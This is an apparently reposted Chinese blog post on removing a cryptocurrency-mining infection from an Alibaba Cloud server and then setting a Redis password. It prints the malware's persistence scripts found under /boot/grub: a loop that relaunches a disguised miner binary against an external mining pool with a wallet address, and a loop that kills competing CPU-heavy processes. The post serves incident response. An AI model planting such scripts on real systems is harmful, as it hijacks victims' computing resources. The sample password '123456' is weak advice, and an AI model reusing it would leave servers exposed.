阿里云服务器出现入侵事件：挖矿进程——pool.minexmr.com的解决办法 - 王天泽的博客 - CSDN博客

安宇雨 - 随手采集
2018-11-21 11:34:48
随手采集
0000-未整理-等待研究

1.查看进程

# ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user,uid'

找出CPU占有率高的你不认识的进程，我的是这样的

bashd -a cryptonight -o stratum+tcp://pool.minexmr.com:5555 -u 4AUF3pa

干掉它

kill -9 11110

2.全局搜索这个进程

[root@wangtianze ~]# grep -r pool.minexmr.com
.bash_history:grep -r pool.minexmr.com
.bash_history:cat daemon | grep pool.minexmr.com
.bash_history:cat deamon | grep pool.minexmr.com
.bash_history:grep -r pool.minexmr.com
.bash_history:grep -r pool.minexmr.com
.bash_history:ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user,uid' | pool.minexmr.com
.bash_history:grep -r pool.minexmr.com

3.打开搜索到的位置

# vim /boot/grub/deamon

里面是这样的

#!/bin/bash
#daemon
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
while true;
do
    server=`ps aux | grep 'pool.minexmr.com:5555 -u 4AUF3paE7opiwmfUKfbCDMYvUAPaMZJre4QZnPuxBvnEhL5CpuVXH9tAMeBmQfSebQBHYUwycARchB8CokkVAAetDnupYsj' | grep -v grep`
    if [ ! "$server" ]; then
        \cp -rf /boot/grub/grub.tz /usr/sbin/bashd
        chmod +x /usr/sbin/bashd
        cd /usr/sbin
        nohup bashd -a cryptonight -o stratum+tcp://pool.minexmr.com:5555 -u 4AUF3paE7opiwmfUKfbCDMYvUAPaMZJre4QZnPuxBvnEhL5CpuVXH9tAMeBmQfSebQBHYUwycARchB8CokkVAAetDnupYsj -p x &
    fi
    sleep 15
done

删掉里面的while循环，只保留

#!/bin/bash
#daemon
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

全局搜索

# grep -r pool.minexmr.com

同样干掉

#!/bin/bash
#disk_genius
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
while true;
do
    ps aux  --sort=%cpu |grep -v 'pool.minexmr.com:5555 -u 4AUF3paE7opiwmfUKfbCDMYvUAPaMZJre4QZnPuxBvnEhL5CpuVXH9tAMeBmQfSebQBHYUwycARchB8CokkVAAetDnupYsj' | awk '{if($3 > 40.0 && $NF ~//) print $2}' |xargs -i kill -9 {}
    sleep 3
done

改成

#!/bin/bash
#disk_geniusi
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin

再次搜索

# grep -r pool.minexmr.com

终于没了

4.给Redis设置密码

打开你的Redis目录下的redis.conf

# vim /usr/local/redis/bin/redis.conf

把#requirepass foobared前面的#去掉foobared改为你的密码，比如123456

requirepass 123456

5.重启Redis

# cd /usr/local/redis/bin
# ./redis-server redis.conf
# ./redis-cli

5.直接输入命令，会提示(error) NOAUTH Authentication required..之后输入auth-你的密码即可

[root@wangtianze bin]# ./redis-cli
127.0.0.1:6379> get "auth"
(error) NOAUTH Authentication required.
127.0.0.1:6379> auth 123456
OK
127.0.0.1:6379> get "auth"
"wangtianze"
127.0.0.1:6379> exit

OK，搞定

Original url: Access
Created at: 2018-11-21 11:34:48
Category: default
Tags: none

未标明原创文章均为采集，版权归作者所有，转载无需和我联系，请注明原出处，南摩阿彌陀佛，知识，不只知道，要得到